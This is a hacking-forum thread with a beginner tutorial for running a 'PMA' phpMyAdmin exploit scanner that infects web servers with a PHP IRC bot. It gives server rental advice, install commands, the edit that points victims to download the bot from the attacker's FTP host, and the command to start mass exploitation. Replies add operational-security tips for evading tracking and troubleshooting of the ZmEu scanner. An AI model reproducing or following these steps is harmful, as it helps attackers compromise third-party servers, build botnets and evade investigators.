Thread: [PMA Step by Step Setup Tutorial \(Noob Friendly & Screen Shots\)](#)

lyzan - October 23, 2014, 9:00 pm

Hello HF users, I've been seeing a lot of questions on PMA recently. It's really bugging me, & I haven't seen a single actual good tutorial. There are a few OK ones, but they all leave things out, or use inferior methods. So I'm gonna explain the easiest and quickest way to setup PMA.

First thing is first, you're gonna need to have an IRC setup and running. If you don't know how to setup a IRC, I made a step by step tutorial that is also noob friendly.

<https://hackforums.net/showthread.php?tid=4503815>

Once you have your IRC running, you're going to need two more servers.

One as a exploit server, and one as a FTP server.

A good and cheap exploit server is the \$20 dedicated server, or any of them.

<http://volumedrive.com/vdrive/?a=dedicated>

But note that the server will take 3-5 days to come in.

A good ftp server would be the \$3 OVH classic vps package

<https://us.ovh.com/us/cgi-bin/newOrder/order.cgi?orderType=vps&type=classic&model=model1>

Now on the exploit server, you need to type 'yum install gcc make perl cpan nano -y'

Or if you have a server that uses apt-get, then just type 'apt-get install gcc make perl cpan nano -y'

Once those packages are done installing, tpy 'cpan -fi Parallel::ForkManager URI LWP Time::HiRes'

Now all you have to do is press enter when it prompts you to

Now you're going to need WinSCP or Filezilla, I recomend [PMA](#) and WinSCP.

I'm sure you know how to use your FTP client, so I'm not gonna go there.

But a brief overview, put your PMA files on the exploit server.

Now you're going to need a php bot.

There are plenty of public php bots, just get one of those.

Now once you have your php bot configured to your irc, on your FTP server type 'yum install vsftpd -y && service vsftpd start' or apt-get if you have it.

Now login to your FTP server with your FTP client, and go to the /var/ftp directory.

Once there, drag and drop your bot into that directory.

It should look something like this

Now, get the PMA files if you don't already have them from here

<https://www.dropbox.com/s/7dlt528hvharmf6/PMA.tar.gz?dl=0>

Once you have the PMA files on your computer, you need to put them in the desired directory.

Now once in the directory, 'type tar -xf PMA.tar.gz && cd PMA'

ok, now heres when you need your FTP servers IP, get the servers IP and then back on the exploit server type 'nano x'

Now you should see this

Now hit 'CTRL + w' on your keyboard and type 'ftp' and hit enter
Now you should see this

Change the 1.1.1.1 in 'ftp://1.1.1.1/Bot.php' to your FTP servers ip, and change the Bot.php part to the name of your php bot.

So if my servers IP is 129.65.32.10 and my bots name is Lol.php
then it should look like this 'ftp://129.65.32.10/Lol.php'

Now type 'CTRL + x' and then hit y and then hit enter

Now type 'perl x -x' and hit enter and there you go, you should be exploiting.

If you have any questions, feel free to ask.

lyzan - October 27, 2014, 11:15 am

Fixed screen shots and minor spelling mistake.

B?wseR - October 27, 2014, 11:33 am

Nice tutorial, best one I've seen on HF.

Dragone2 - October 27, 2014, 12:11 pm

Nice tutorial, best one I've seen there. Thanks!

lyzan - October 27, 2014, 12:15 pm

(Oct 27, 2014 12:11 PM)Dragone2 Wrote: [\[CITE\]](#) Nice tutorial, best one I've seen there. Thanks!

Thanks for the feed back.

Hope you found it useful

Thanks for the feed back bowser, hope you found it useful.

Tricks7er - October 27, 2014, 5:25 pm

Noob friendly and decent instructions! Keep it up.

lyzan - October 27, 2014, 6:27 pm

(Oct 27, 2014 05:25 PM)Tricks7er Wrote: [\[CITE\]](#) Noob friendly and decent instructions! Keep it up.

Thanks, I plan on doing more tutorials, any ideas what I should do next?

lyzan - November 9, 2014, 6:02 pm

So what does every body thing of this tutorial?

lyzan - November 12, 2014, 11:07 am

Feed back is welcome, tell me what you think!

Ch1m4zz - November 12, 2014, 12:07 pm

Do I really need 3 servers or can I just use 1 for it all?

TAKE A FOCKIN SEAT - November 12, 2014, 12:46 pm

(Nov 12, 2014 01:07 PM)Ch1m4zz Wrote: [\[CITE\]](#) Do I really need 3 servers or can I just use 1 for it all?

1 + 1 + 1 = 3. You're welcome ?

lyzan - November 13, 2014, 8:37 am

(Nov 12, 2014 01:07 PM)Ch1m4zz Wrote: [\[CITE\]](#) Do I really need 3 servers or can I just use 1 for it all?

If you used them all as one, it would be too unstable.

Yardstick - November 13, 2014, 2:35 pm

(Nov 13, 2014 09:37 AM)lyzan Wrote: [\[CITE\]](#) If you used them all as one, it would be too unstable. This is completely incorrect. It really depends on the specs of the server and what the hosting provides in terms of quality. You can easily run an FTP, IRC, and scanning processes on a single server. There are reasons you split these up into 3 different categories and making the server "too unstable" is not one of them.

Here are advantages of splitting up the servers into FTP, IRC, and scanning:

1. Having your scanning server, FTP server, and IRC server separate is good for anyone who is trying to track you through bots that are already infected. So, they may get your IRC, but likely they won't find your scanning server or FTP server.

2. Having the FTP server separate from all of these is basically a must. If someone finds your IRC IP, and you are hosting the FTP on the same IRC they found, then it is likely they will find the source to your bot and consequently finding a loophole to steal, kill, or mess with these bots you have.

3. This may make your servers more categorized and easier to maintain.

Splitting these servers up into these categories is a great idea, although the server being unstable really doesn't have much to do with it as long as you are buying a decent server. I hope I helped more than the guy who gave you a one-line answer that was incorrect.

lyzan - November 13, 2014, 6:00 pm

(Nov 13, 2014 03:35 PM)Yardstick Wrote: [\[CITE\]](#) This is completely incorrect. It really depends on the specs of the server and what the hosting provides in terms of quality. Obviously, all that is common sense. The points you showed are also the reason why I said you need 3 different servers. Although using your ftp server as your scanning server isn't that bad. I've successfully done it before with a 20\$ server. As a test of course.

Yardstick - November 13, 2014, 6:12 pm

(Nov 13, 2014 07:00 PM)Ilyzan Wrote: [\[CITE\]](#) Obviously, all that is common sense. The points you showed are also the reason why I said you need 3 different servers. Although using your ftp server as your scanning server isn't that bad. I've successfully done it before with a 20\$ server. As a test of course. All that is common sense? Then why did you tell him that it would be unstable for a single server?

How about not contradicting yourself...

Ilyzan - November 14, 2014, 8:49 am

(Nov 13, 2014 07:12 PM)Yardstick Wrote: [\[CITE\]](#) All that is common sense? Then why did you tell him that it would be unstable for a single server?

How about not contradicting yourself...

Because, I assumed that if he didn't know the answer to his question, then he probably doesn't have access to a good quality server that you would need for it to be stable.

Ilyzan - November 18, 2014, 9:00 am

Feed back would be great. Tell me what you think.

Ilyzan - November 23, 2014, 4:15 pm

Just ing the thread, feed back welcome.

anon.star - November 23, 2014, 4:53 pm

I bought the OVH server but have not recieved any type of ip for me to get root access.

in What directory do you put the PMA files in? and on what server.

Ilyzan - November 25, 2014, 12:07 pm

Bumping the thread, feed back is welcome, don't forget.

Nassef - November 25, 2014, 1:27 pm

Value tutorial. Good job. I'm not sure that OVH server is good for acticity like this.....

nebunu6 - November 26, 2014, 9:57 am

i need some help with this arhive.when i type perl -x x i see this.

Can't locate Parallel/ForkManager.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.14.2 /usr/local/share/perl/5.14.2 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.14 /usr/share/perl/5.14 /usr/local/lib/site_perl .) at x line 6.

Are you sure its chmoded and are you in the right directory.

ItsFluffy - November 26, 2014, 6:47 pm

good tutorial
one thing you can add when you're able is to add some
"possible errors/mistake"
"fixes"

nebunu6 - November 26, 2014, 11:16 pm

(Nov 26, 2014 02:39 PM)B?wseR Wrote: [\[CITE\]](#) Are you sure its chmoded and are you in the right directory.
yes is chmod +x * and i`m in the right directory.

LeBon - November 26, 2014, 11:20 pm

Really nice tutorial bro, will try that for sure :D

nebunu6 - November 26, 2014, 11:32 pm

can somebody help me with this error ? ./zmeu bios.txt vuln.txt cgi 1000
bash: ./zmeu: No such file or directory

B?wseR - November 26, 2014, 11:38 pm

(Nov 27, 2014 12:32 AM)nebunu6 Wrote: [\[CITE\]](#) can somebody help me with this error ? ./zmeu bios.txt vuln.txt cgi 1000
bash: ./zmeu: No such file or directory
If your in the right directory you would not be getting this error only comes when the file your calling is not there.

nebunu6 - November 26, 2014, 11:39 pm

man i`m am there i see the file but when i try to run`it it give me that error
root@test:/var/tmp/nig# dir
beta.sh boss cgi max.txt ss vuln.txt x zmeu

B?wseR - November 27, 2014, 10:53 am

(Nov 27, 2014 12:39 AM)nebunu6 Wrote: [\[CITE\]](#) man i`m am there i see the file but when i try to run`it it give me that error
root@test:/var/tmp/nig# dir

beta.sh boss cgi max.txt ss vuln.txt x zmeu
Did you do chmod 777 zmenu in that dir?

nebunu6 - November 29, 2014, 2:37 am

yes of course . i solved the problem but for nothing . no bot comming up on my ircd ..

Litterly just follow my tutorial and you will figure it out.

nebunu6 - November 30, 2014, 9:02 am

the scanner works but it dosent cache nothing ... so we need a new one

CorrixHD - November 30, 2014, 11:07 am

Wow very nice I found this thread with a comment on r0xem's pma video anyways very hood tutorial you deserve more then +1

Finity - December 3, 2014, 7:39 pm

Just pointing out lyzan, you might want to add the fact that they need to watch the setup of the CPAN modules. It should be common sense but most forget to watch it and press enter if it asks to follow the packages, etc. They don't need to press [y] [enter] just [enter]. As long as they watch it then they will be good. If they are still having issues with Parallel Fork::Manager they could just manually install it. You could add that to your post or simply link them to a google tut on that one too.

lyzan - December 11, 2014, 11:18 am

Bumping this up, hopefully it'll help someone out.

lyzan - December 13, 2014, 3:59 pm

Bumping in hopes of helping someone out.

jonnyboi - December 14, 2014, 11:23 pm

Hi, can you help me with getting a pbot? thanks!

It's just to help out the newbies, we was all there one day. ?

hyhyyhhrf4 - December 23, 2014, 2:51 pm

Don't PMA bots ping out after one attack? Just curious because I've never used pma bots

lyzan - December 23, 2014, 2:55 pm

(Dec 23, 2014 03:51 PM)Keepo Wrote: [\[CITE\]](#) Don't PMA bots ping out after one attack? Just curious because I've never used pma bots

The bots arn't the stablest, but that has nothing to do with the bot its self, more than the exploit and the way PMA its self functions. But that doesn't really matter, you can call them all back in as long as they're not dead.

B4ckdoor - December 23, 2014, 4:27 pm

this exploit is old 2009 !!! HAHAAHAHAHAHAHAHAHAH enjoy your suck easy bot. :asd:

lyzan - December 24, 2014, 7:46 am

I think you have no clue what your talking about 1 month ago when I scanned a list for someone it was getting 1500.

PLT ? - January 15, 2015, 6:21 am

look at all these cod kids trying to run one of the most useless and outdated exploits around. lelz

Can you pm me you're skype?

rawip - June 4, 2015, 12:05 pm

Holly shit , does people still use PMA?????

tiktokgamer - August 16, 2015, 11:52 am

Hey could you re add the pma files i know this is kinda old but if you have em can you update them thanks
